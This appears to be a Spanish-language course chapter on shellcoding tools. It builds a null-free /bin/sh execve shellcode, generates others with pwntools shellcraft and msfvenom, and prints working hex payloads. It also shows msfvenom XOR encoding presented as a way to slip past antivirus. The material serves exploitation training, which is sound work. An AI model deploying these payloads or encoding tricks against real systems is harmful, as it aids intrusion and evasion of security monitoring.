Shellcoding Tools
Ahora deberíamos poder modificar nuestro código y hacerlo compatible con shellcode
, de modo que cumpla con todos los Shellcoding Requirements
. Este entendimiento es crucial para crear nuestros propios shellcodes y minimizar su tamaño, lo cual puede ser muy útil al tratar con Binary Exploitation, especialmente cuando no tenemos mucho espacio para un shellcode grande.
En otros casos, puede que no necesitemos escribir nuestro propio shellcode cada vez, ya que podría existir un shellcode similar, o podríamos usar herramientas para generarlo, evitando reinventar la rueda.
Nos encontraremos con muchos shellcodes comunes durante Binary Exploitation, como un shellcode de Reverse Shell
o un shellcode de /bin/sh
. Podemos encontrar muchos shellcodes que realizan estas funciones, los cuales podríamos usar con modificaciones mínimas o sin modificaciones. También podemos usar herramientas para generar ambos shellcodes.
Para cualquiera de estos casos, debemos asegurarnos de usar un shellcode que coincida con el Sistema Operativo y la Arquitectura del Procesador de nuestro objetivo.
Shell Shellcode
Antes de continuar con herramientas y recursos en línea, intentemos crear nuestro propio shellcode de /bin/sh
. Para hacerlo, podemos usar la syscall execve
con el número de syscall 59
, que nos permite ejecutar una aplicación del sistema:
man -s 2 execve
int execve(const char *pathname, char *const argv[], char *const envp[]);
Como podemos ver, la syscall execve
acepta 3 argumentos. Necesitamos ejecutar /bin/sh /bin/sh
, lo que nos dejará en una shell sh
. Entonces, nuestra función final será:
execve("/bin//sh", ["/bin//sh"], NULL)
Así que configuraremos nuestros argumentos como:
rax
->59
(número de syscallexecve
)rdi
->['/bin//sh']
(puntero al programa a ejecutar)rsi
->['/bin//sh']
(lista de punteros para argumentos)rdx
->NULL
(sin variables de entorno)
Nota: Agregamos una barra extra /
en '/bin//sh
' para que el conteo total de caracteres sea 8, llenando un registro de 64 bits. Esto evita limpiar el registro previamente o lidiar con residuos. Linux ignora las barras adicionales, por lo que este es un truco útil para ajustar el conteo total de caracteres cuando sea necesario, y se usa mucho en Binary Exploitation.
Usando los mismos conceptos aprendidos para llamar a una syscall, el siguiente código en ensamblador debería ejecutar la syscall que necesitamos:
global _start
section .text
_start:
mov rax, 59 ; execve syscall number
push 0 ; push NULL string terminator
mov rdi, '/bin//sh' ; first arg to /bin/sh
push rdi ; push to stack
mov rdi, rsp ; move pointer to ['/bin//sh']
push 0 ; push NULL string terminator
push rdi ; push second arg to ['/bin//sh']
mov rsi, rsp ; pointer to args
mov rdx, 0 ; set env to NULL
syscall
Como podemos ver, empujamos dos cadenas '/bin//sh'
(terminadas en NULL) y luego movimos sus punteros a rdi
y rsi
. Deberíamos saber a estas alturas que el código ensamblador anterior no producirá un shellcode funcional, ya que contiene bytes NULL.
Intenta eliminar todos los bytes NULL del código ensamblador anterior para producir un shellcode funcional.
Haz clic para ver la respuesta
Una vez que arreglemos nuestro código, podemos ejecutar shellcoder.py
en él y obtener un shellcode sin bytes NULL:
python3 shellcoder.py sh
b03b4831d25248bf2f62696e2f2f7368574889e752574889e60f05
27 bytes - No NULL bytes
Prueba ejecutar el shellcode anterior con loader.py
para verificar si funciona y nos deja en una shell. Ahora intentemos obtener otro shellcode para /bin/sh
, utilizando herramientas de generación de shellcode.
Shellcraft
Comencemos con nuestras herramientas habituales, pwntools
, y usemos su biblioteca shellcraft
, que genera shellcodes para varios syscalls
. Podemos listar los syscalls
que acepta la herramienta de la siguiente manera:
pwn shellcraft -l 'amd64.linux'
...SNIP...
amd64.linux.sh
Vemos el syscall amd64.linux.sh
, que nos dejaría en una shell como nuestro shellcode anterior. Podemos generar su shellcode de la siguiente manera:
pwn shellcraft amd64.linux.sh
6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05
Nota que este shellcode no está tan optimizado y es más largo que nuestro shellcode. Podemos ejecutar el shellcode agregando la bandera -r
:
pwn shellcraft amd64.linux.sh -r
$ whoami
root
Y funciona como se esperaba. Además, podemos usar el intérprete de Python3
para desbloquear completamente shellcraft
y usar syscalls avanzados con argumentos. Primero, podemos listar todos los syscalls disponibles con dir(shellcraft)
, de la siguiente manera:
python3
>>> from pwn import *
>>> context(os="linux", arch="amd64", log_level="error")
>>> dir(shellcraft)
[...SNIP... 'execve', 'exit', 'exit_group', ... SNIP...]
Usemos la syscall execve
como lo hicimos antes para obtener una shell, de la siguiente manera:
>>> syscall = shellcraft.execve(path='/bin/sh',argv=['/bin/sh']) # syscall and args
>>> asm(syscall).hex() # print shellcode
'48b801010101010101015048b82e63686f2e726901483104244889e748b801010101010101015048b82e63686f2e7269014831042431f6566a085e4801e6564889e631d26a3b580f05'
Podemos encontrar una lista completa de syscalls aceptados en x86_64
y sus argumentos en este enlace. Ahora podemos intentar ejecutar este shellcode con loader.py
:
python3 loader.py '48b801010101010101015048b82e63686f2e726901483104244889e748b801010101010101015048b82e63686f2e7269014831042431f6566a085e4801e6564889e631d26a3b580f05'
$ whoami
root
Y funciona como se esperaba.
Msfvenom
Probemos msfvenom
, que es otra herramienta común que podemos usar para la generación de shellcode. Una vez más, podemos listar varios payloads disponibles para Linux
y x86_64
con:
msfvenom -l payloads | grep 'linux/x64'
linux/x64/exec Execute an arbitrary command
...SNIP...
El payload exec
nos permite ejecutar un comando especificado. Pasemos '/bin/sh/
' para el CMD
y probemos el shellcode que obtenemos:
msfvenom -p 'linux/x64/exec' CMD='sh' -a 'x64' --platform 'linux' -f 'hex'
No encoder specified, outputting raw payload
Payload size: 48 bytes
Final size of hex file: 96 bytes
6a3b589948bb2f62696e2f736800534889e7682d6300004889e652e80300000073680056574889e60f05
Nota que este shellcode tampoco está tan optimizado y corto como nuestro shellcode. Probemos ejecutar este shellcode con nuestro script loader.py
:
python3 loader.py '6a3b589948bb2f62696e2f736800534889e7682d6300004889e652e80300000073680056574889e60f05'
$ whoami
root
Este shellcode también funciona. Prueba otros tipos de syscalls y payloads en shellcraft
y msfvenom
.
Shellcode Encoding
Otro gran beneficio de usar estas herramientas es codificar nuestros shellcodes sin escribir manualmente nuestros codificadores. Codificar shellcodes puede ser útil para sistemas con antivirus o ciertas protecciones de seguridad. Sin embargo, hay que señalar que los shellcodes codificados con codificadores comunes pueden ser fáciles de detectar.
Podemos usar msfvenom
para codificar nuestros shellcodes también. Primero, podemos listar los codificadores disponibles:
msfvenom -l encoders
Framework Encoders [--encoder <value>]
======================================
Name Rank Description
---- ---- -----------
cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder
<SNIP>
Luego, podemos elegir uno para x64
, como x64/xor
, y usarlo con la bandera -e
, de la siguiente manera:
msfvenom -p 'linux/x64/exec' CMD='sh' -a 'x64' --platform 'linux' -f 'hex' -e 'x64/xor'
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 87 (iteration=0)
x64/xor chosen with final size 87
Payload size: 87 bytes
Final size of hex file: 174 bytes
4831c94881e9faffffff488d05efffffff48bbf377c2ea294e325c48315827482df8ffffffe2f4994c9a7361f51d3e9a19ed99414e61147a90aac74a4e32147a9190022a4e325c801fc2bc7e06bbbafc72c2ea294e325c
Probemos ejecutar el shellcode codificado para ver si se ejecuta:
python3 loader.py
'4831c94881e9faffffff488d05efffffff48bbf377c2ea294e325c48315827482df8ffffffe2f4994c9a7361f51d3e9a19ed99414e61147a90aac74a4e32147a9190022a4e325c801fc2bc7e06bbbafc72c2ea294e325c'
$ whoami
root
Como podemos ver, el shellcode codificado también funciona, siendo un poco menos detectable por herramientas de monitoreo de seguridad.
Consejo: Podemos codificar nuestro shellcode varias veces con la bandera -i COUNT
y especificar el número de iteraciones que queremos.
Notamos que el shellcode codificado siempre es significativamente más grande que el no codificado, ya que la codificación agrega un decodificador integrado para la decodificación en tiempo de ejecución. También puede codificar cada byte varias veces, lo que aumenta su tamaño en cada iteración.
Si tuviéramos un shellcode personalizado que escribimos, podríamos usar msfvenom
para codificarlo también, escribiendo sus bytes en un archivo y luego pasándolo a msfvenom
con -p -
, de la siguiente manera:
python3 -c "import sys; sys.stdout.buffer.write(bytes.fromhex('b03b4831d25248bf2f62696e2f2f7368574889e752574889e60f05'))" > shell.bin
msfvenom -p - -a 'x64' --platform 'linux' -f 'hex' -e 'x64/xor' < shell.bin
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 71 (iteration=0)
x64/xor chosen with final size 71
Payload size: 71 bytes
Final size of hex file: 142 bytes
4831c94881e9fcffffff488d05efffffff48bb5a63e4e17d0bac1348315827482df8ffffffe2f4ea58acd0af59e4ac75018d8f5224df7b0d2b6d062f5ce49abc6ce1e17d0bac13
Como podemos ver, nuestro payload fue codificado y también se volvió mucho más grande.
Shellcode Resources
Finalmente, siempre podemos buscar recursos en línea como Shell-Storm o Exploit DB para encontrar shellcodes existentes.
Por ejemplo, si buscamos en Shell-Storm un shellcode para /bin/sh
en Linux/x86_64
, encontraremos varios ejemplos de diferentes tamaños, como este shellcode de 27 bytes. También podemos buscar en Exploit DB lo mismo, y encontraremos un shellcode de 22 bytes más optimizado, lo cual puede ser útil si nuestra explotación de binarios solo tiene alrededor de 22 bytes de espacio de desbordamiento. También podemos buscar shellcodes codificados, los cuales tienden a ser más grandes.
El shellcode que escribimos anteriormente también tiene 27 bytes, por lo que parece ser un shellcode muy optimizado. Con todo esto, deberíamos sentirnos cómodos escribiendo, generando y utilizando shellcodes.